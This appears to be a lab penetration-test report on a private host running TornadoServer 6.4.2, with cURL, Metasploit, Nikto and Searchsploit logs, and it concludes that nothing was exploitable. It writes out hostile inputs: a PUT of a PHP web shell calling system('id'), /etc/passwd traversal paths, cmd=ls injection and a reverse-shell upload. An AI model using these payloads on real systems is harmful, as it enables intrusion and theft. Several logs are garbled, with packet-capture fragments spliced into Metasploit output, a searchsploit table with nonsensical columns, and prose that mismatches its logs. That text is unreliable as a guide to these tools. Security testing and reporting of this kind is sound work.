

# Post-Exploration Report on Target 10.137.0.149

The exploration of the target system at IP 10.137.0.149, running an HTTP service on port 80, was conducted using tools like cURL, Metasploit, Nikto, and Searchsploit. The goal was to identify vulnerabilities, exploitable paths, or misconfigurations. Despite rigorous efforts, no successful exploitation was achieved.

## Enumeration and Initial Findings ~

The process began with cURL to test accessible endpoints such as /static, /debug, and /api. The /static endpoint returned a 301 Moved Permanently status, redirecting requests elsewhere without revealing significant content.

```
(kali@kali)-[~]
$ curl -i http://10.137.0.149/static
HTTP/1.1 301 Moved Permanently
Server: TornadoServer/6.4.2
Content-Type: text/html; charset=UTF-8
Date: Sun, 15 Dec 2024 17:09:25 GMT
Location: /static/
Content-Length: 0
Vary: Accept-Encoding

(kali@kali)-[~]
$ curl http://10.137.0.149/static
HTTP/1.1 301 Moved Permanently
Server: TornadoServer/6.4.2
Content-Type: text/html; charset=UTF-8
Date: Sun, 15 Dec 2024 17:09:25 GMT
Location: /static/
Content-Length: 0
Vary: Accept-Encoding

(kali@kali)-[~]
$ curl http://10.137.0.149/debug
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 15 Dec 2024 17:09:25 GMT
Content-Length: 1024
Vary: Accept-Encoding

<!doctype html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link rel="shortcut icon" href="/static/js/main.dccfd6b5.js"></script><link href="/static/css/main.f4a8738f.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>

(kali@kali)-[~]
$ curl http://10.137.0.149/api
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 15 Dec 2024 17:09:25 GMT
Content-Length: 1024
Vary: Accept-Encoding

<!doctype html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link rel="shortcut icon" href="/static/js/main.dccfd6b5.js"></script><link href="/static/css/main.f4a8738f.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>

(kali@kali)-[~]
$ curl http://10.137.0.149/static/debug
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 15 Dec 2024 17:09:25 GMT
Content-Length: 1024
Vary: Accept-Encoding

<!doctype html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link rel="shortcut icon" href="/static/js/main.dccfd6b5.js"></script><link href="/static/css/main.f4a8738f.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>
```

Further interaction with the /debug and /api endpoints displayed HTML pages requiring JavaScript to load fully, indicating that the application relies on JavaScript to render its contents.

Yuvin Perera

[illegible]

To validate the structure of certain JavaScript files, a manual request to `/static/js/main.dccfd6b5.js` was made, revealing obfuscated JavaScript content.

```
(kali@kali)~[~]
$ curl -X GET http://10.137.0.149/debug?cmd=ls
<doctype html><html lang="en"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"/><link rel="shortcut icon" href="/favicon.png"/><title>Streamlit</title><script>window.prerenderReady=1</script><script defer="defer" src="/static/js/main.dccfd6b5.js"></script><link href="/static/css/main.f4a873bf.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>

(kali@kali)~[~]
$ curl -X POST http://10.137.0.149/api -data "input=../../../../etc/passwd"
curl: (56) Recv failure: Connection reset by peer

(kali@kali)~[~]
$ curl -X PUT -d "<?php system('id'); ?>" http://10.137.0.149/static/shell.php
<html><title>403: Forbidden</title><body>403: Forbidden</body></html>

(kali@kali)~[~]
$ curl http://10.137.0.149/static/shell.php
<doctype html><html lang="en"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"/><link rel="shortcut icon" href="/favicon.png"/><title>Streamlit</title><script>window.prerenderReady=1</script><script defer="defer" src="/static/js/main.dccfd6b5.js"></script><link href="/static/css/main.f4a873bf.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div></body></html>

(kali@kali)~[~]
$ |
```

## Metasploit Scans and Attempts ~

To expand the enumeration, Metasploit auxiliary modules were used. The first module, auxiliary/scanner/http/http\_version, confirmed that the target server is TornadoServer/6.4.2 running on port 80.

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search auxiliary/scanner/http/http_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/http/http_version      .              normal No     HTTP Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

msf6 > |
```

Following this, a directory traversal attempt using the auxiliary/scanner/http/http\_traversal module targeted the /static/../../../../../etc/passwd file. Although the module execution completed successfully, there was no confirmation of data retrieval.

```
msf6 > search auxiliary/http 10.137.0.149 HTTP 147 GET /242686 HTTP/1.1
[-] No results from search 10.137.0.149 HTTP 739 HTTP/1.1 484 Not Found
msf6 > search exploit/http 10.137.0.149 HTTP 147 GET /music2 HTTP/1.1
[-] No results from search 10.137.0.149 TCP 60 80 - 33994 [ACK] Seq=1
msf6 > use auxiliary/scanner/http/http_version HTTP 739 HTTP/1.1 484 Not Found
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 10.137.0.149 HTTP 140 GET /49129 HTTP/1.1
RHOSTS => 10.137.0.149 TCP 60 80 - 33938 [ACK] Seq=1
msf6 auxiliary(scanner/http/http_version) > set RPORT 80 HTTP 739 HTTP/1.1 484 Not Found
RPORT => 80 HTTP 140 GET /51601 HTTP/1.1
msf6 auxiliary(scanner/http/http_version) > run HTTP 60 80 - 33892 [ACK] Seq=1
[+] 10.137.0.149:80 TornadoServer/6.4.2 HTTP 739 HTTP/1.1 484 Not Found
[*] Scanned 1 of 1 hosts (100% complete) HTTP 150 GET /texinfo-4 HTTP/1.1
[*] Auxiliary module execution completed TCP 60 80 - 33972 [ACK] Seq=1
msf6 auxiliary(scanner/http/http_version) > exit HTTP 739 HTTP/1.1 484 Not Found
```

Further exploration focused on file upload capabilities through HTTP PUT. Using the auxiliary/scanner/http/http\_put module, an attempt was made to upload a reverse PHP shell to the /static/ directory. The server responded with a 403 Forbidden error, indicating that the directory does not allow file uploads. Additional checks confirmed that no writable directories were identified.

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/http/http_traversal
msf6 auxiliary(scanner/http/http_traversal) > set RHOSTS 10.137.0.149
RHOSTS => 10.137.0.149
msf6 auxiliary(scanner/http/http_traversal) > set RPORT 80
RPORT => 80
msf6 auxiliary(scanner/http/http_traversal) > set PATH /static/../../../../../etc/passwd
PATH => /static/../../../../../etc/passwd
msf6 auxiliary(scanner/http/http_traversal) > run

[*] Running action: CHECK...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/http_traversal) > |
```

## Web Vulnerability Scanning ~

A Nikto scan was performed to identify web server vulnerabilities or misconfigurations. Nikto detected missing security headers, including X-Frame-Options and X-Content-Type-Options, which could expose the server to clickjacking and MIME-sniffing attacks. However, the scan encountered multiple HTTP errors, limiting the depth of results.

```
(kali@kali)~$ nikto -h http://10.137.0.149/static
- Nikto v2.5.0

+ Target IP: 10.137.0.149
+ Target Hostname: 10.137.0.149
+ Target Port: 80
+ Start Time: 2024-12-15 12:11:36 (GMT-5)

+ Server: TornadoServer/6.4.2
+ /static/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /static/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 19 error(s) and 2 item(s) reported on remote host
+ End Time: 2024-12-15 12:18:08 (GMT-5) (392 seconds)

+ 1 host(s) tested

(kali@kali)~$
```

## Manual Exploit Searches ~

To verify if there were any publicly known exploits for TornadoServer, Searchsploit was used. The results revealed older vulnerabilities related to buffer overflows and cross-site scripting (XSS), but they were unrelated to the 6.4.2 version running on the target system. No relevant shellcodes or modern exploits were identified.

```
(kali@kali)~$ searchsploit tornado
```

Exploit Title	Source	Description	Platform	Path
Softrex Tornado WWW-Server 1.2 - Buffer Overflow	10.137.0.149	10.137.0.149	HTTP	Not Found (text/html)
Tornado Knowledge Retrieval System 4.2 - 'p' Cross-Site Scripting	10.137.0.149	10.137.0.149	HTTP	Not Found (text/html)
TornadoStore 1.4.3 - SQL Injection / HTML Injection	10.137.0.149	10.137.0.149	HTTP	Not Found (text/html)
Shellcodes: No Results	10.137.0.149	10.137.0.149	HTTP	Not Found (text/html)

```
(kali@kali)~$
```

## Manual Command Injection and Debug Testing ~

Manual command injection attempts were made via the /debug endpoint by appending parameters like cmd=ls. The responses remained unchanged, returning the same JavaScript-dependent content as earlier, indicating that command execution is not directly possible. POST attempts to /api targeting the /etc/passwd file also failed, with connection resets preventing further exploration.

```
msf6 > search auxiliary/scanner/http/http_put
Matching Modules
=====
#  Name                               Disclosure Date  Rank  Check  Description
--  -
0  auxiliary/scanner/http/http_put      2013-07-01      normal No      HTTP Writable Path PUT/DELETE File Access
1  \_ action: DELETE                    2013-07-01      .      .      Delete remote file
2  \_ action: PUT                        2013-07-01      .      .      Upload local file

Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/http_put
After interacting with a module you can manually set a ACTION with set ACTION 'PUT'

msf6 > use auxiliary/scanner/http/http_put
msf6 auxiliary(scanner/http/http_put) > RHOSTS 10.137.0.149
[-] Unknown command: RHOSTS. Did you mean hosts? Run the help command for more details.
msf6 auxiliary(scanner/http/http_put) > set RHOSTS 10.137.0.149
RHOSTS => 10.137.0.149
msf6 auxiliary(scanner/http/http_put) > set RPORT 80
RPORT => 80
msf6 auxiliary(scanner/http/http_put) > set TARGETURI /static/
[-] Unknown datastore option: TARGETURI.
TARGETURI => /static/
msf6 auxiliary(scanner/http/http_put) > set FILEDATA /usr/share/webshells/php/php-reverse-shell.php
FILEDATA => /usr/share/webshells/php/php-reverse-shell.php
msf6 auxiliary(scanner/http/http_put) > run

[-] 10.137.0.149: File doesn't seem to exist. The upload probably failed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/http_put) > |
```

## Conclusion ~

Despite multiple enumeration techniques and active testing using cURL, Metasploit, Nikto, and Searchsploit, no exploitable vulnerabilities were identified on the HTTP service of 10.137.0.149. The server confirmed as TornadoServer/6.4.2 does not allow unauthorized file uploads, directory traversal, or command injection. While minor misconfigurations like missing security headers were found, they do not present an immediate path for exploitation.

Further testing may involve tools capable of interacting with JavaScript dependent content (Burp Suite with headless browsers) and deeper fuzzing of endpoints for hidden vulnerabilities.